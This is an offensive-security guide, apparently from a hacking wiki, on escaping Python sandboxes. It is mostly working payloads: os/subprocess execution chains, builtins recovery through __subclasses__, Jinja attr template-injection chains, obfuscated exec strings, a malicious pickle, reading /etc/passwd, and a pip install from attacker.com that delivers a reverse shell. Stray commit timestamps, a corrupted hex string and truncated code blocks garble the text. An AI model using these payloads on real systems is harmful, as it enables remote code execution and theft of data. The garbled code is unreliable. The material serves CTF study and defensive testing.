# Bypass Python sandboxes
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
## Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
```python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
2021-02-03 23:03:54 +00:00
platform.os.system("ls")
2021-10-06 00:19:16 +00:00
pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
{% hint style="danger" %}
**Python2 input()** function allows to execute python code before the program crashes.
{% endhint %}
2021-11-30 13:55:54 +00:00
Python try to **load libraries from the current directory first **(the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`

## Bypass pickle sandbox with default installed python packages
### Default packages
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
2021-11-30 13:55:54 +00:00
Note that from a pickle you can make the python env** import arbitrary libraries** installed in the system.\
2021-02-05 00:28:18 +00:00
For example the following pickle, when loaded, is going to import the pip library to use it:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victimdoesn't even need to have the library installed to execute it
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
2021-02-05 00:36:31 +00:00
For more information about how does pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
2021-02-05 00:28:18 +00:00
### Pip package
2021-11-23 09:46:40 +00:00
Trick shared by **@isHaacK**
2021-02-05 00:28:18 +00:00
If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
{% file src="../../../.gitbook/assets/Reverse.tar.gz" %}
2021-02-05 00:28:18 +00:00
2021-02-05 08:59:17 +00:00
{% hint style="info" %}
This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
{% endhint %}
## Eval-ing python code
This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
```
```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
## Builtins
* ****[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)****
* ****[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)****
If you can access to the**`__builtins__`** object you can import libraries (notice that you could also use here other string representation showed in last section):
```python
2021-10-06 00:19:16 +00:00
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\
2021-11-30 13:55:54 +00:00
However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous **functionalities inside of them that can be accessed to gain even **arbitrary code execution**.
In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them.
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
```python
2021-10-04 11:09:20 +00:00
# Obtain builtins from a globally defined function
2021-10-06 00:19:16 +00:00
## https://docs.python.org/3/library/functions.html
2021-10-04 11:09:20 +00:00
print.__self__
dir.__self__
globals.__self__
2021-10-06 00:19:16 +00:00
len.__self__
2021-10-04 11:09:20 +00:00
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
2021-10-06 00:19:16 +00:00
# Get builtins from loaded clases
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
2021-11-30 13:55:54 +00:00
[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds **of **places **were you can find the **builtins**.
2021-10-06 00:19:16 +00:00
#### Python2 and Python3
```python
# Recover __builtins__ and make eveything easier
2021-10-06 00:19:16 +00:00
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
2021-10-04 11:09:20 +00:00
### Builtins payloads
```python
# Possible payloads once you have found the builtins
.open("/etc/passwd").read()
.__import__("os").system("ls")
2021-10-06 00:19:16 +00:00
# There are a lot other payloads that can be abused to execute commands
# See them below
2021-10-04 11:09:20 +00:00
```
2021-10-06 00:19:16 +00:00
## Globals and locals
2021-06-25 13:52:40 +00:00
Checking the **`globals`** and **`locals`** is a good way to know what you can access.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

## Discover Arbitrary Execution
2021-11-30 13:55:54 +00:00
Here I want to explain how to easily discover** more dangerous functionalities loaded **and propose more reliable exploits.
2021-06-25 13:39:46 +00:00
#### Accessing subclasses with bypasses
One of the most sensitive parts of this technique is to be able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**:
```python
#You can access the base from mostly anywhere (in regular conditions)
2021-10-06 00:19:16 +00:00
"".__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
(1).__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
bool.__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
#You can also access it without "__base__" or "__class__"
2021-10-06 00:19:16 +00:00
## You can apply the previous technique also here
2021-06-25 13:39:46 +00:00
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
#If attr is present you can access everything as string
## This is common in Djanjo (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```

### Finding dangerous libraries loaded
2021-06-25 13:39:46 +00:00
For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
2021-11-30 13:55:54 +00:00
There are a lot, and** we just need one** to execute commands:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
2021-11-30 13:55:54 +00:00
We can do the same thing with** other libraries** that we know can be used to** execute commands**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
2021-10-06 00:19:16 +00:00
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
2021-10-06 00:19:16 +00:00
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Moreover, we could even search which modules are loading malicious libraries:
```python
2021-10-06 00:19:16 +00:00

## Python Format String
2021-11-30 13:55:54 +00:00
If you **send **a **string **to python that is going to be **formatted**, you can use `{}` to access **python internal information. **You can use the previous examples to access globals or builtins for example.
2021-10-06 09:50:35 +00:00
{% hint style="info" %}
However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information. \
2021-10-06 09:50:35 +00:00
_**If you know how to execute code through this vulnerability, please contact me.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}
class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
2021-11-30 13:55:54 +00:00
Note how you can **access attributes **in a normal way with a **dot **like `people_obj.__init__` and **dict element **with **parenthesis **without quotes `__globals__[CONFIG]`
2021-10-06 09:50:35 +00:00
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
2021-10-06 12:43:31 +00:00
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Moreover, it's possible to **code new formatters** in classes:
```python
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info)****

In some CTFs you could be provided the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
This is the function to inspect:
```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
#### globals
`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**See here more places to obtain globals**](./#globals-and-locals)****
2021-10-06 13:23:46 +00:00
### **Accessing the function code**
**`__code__`** and `func_code`: You can **access** this **attribute** of the function to **obtain the code object** of the function.
```python
2021-10-06 13:23:46 +00:00
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>
#Get the attibutes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

2021-10-06 14:43:31 +00:00
### **Disassembly a function**
```python
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
39 RETURN_VALUE
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function (`get_flag.func_code.co_code`) and **disassemble** it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2

## Compiling Python
Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\
2021-11-30 13:55:54 +00:00
Like in the following example, you **can access the code object **of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
2021-10-06 14:43:31 +00:00
```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creating the code object
First of all, we need to know **how to create and execute a code object** so we can create one to execute our function leaked:
```python
code_type = type((lambda: None).__code__)
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
# Execution
eval(code_obj) #Execute as a whole script
## If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Recreating a leaked function
{% hint style="warning" %}
2021-11-30 13:55:54 +00:00
In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a** real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**.
2021-10-06 14:43:31 +00:00
{% endhint %}
```python
fc = get_flag.__code__
2021-10-06 15:45:31 +00:00
# In a real situation the values like fc.co_argcount are the ones you need to leak
2021-10-06 14:43:31 +00:00
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
2021-10-06 15:45:31 +00:00
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
In previous examples at the begging of this post you can see **how to execute any python code using the `compile` function**. This is really interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
2021-10-06 14:43:31 +00:00
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
return open("./poc.py",'r').read()
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```
```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.**
```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
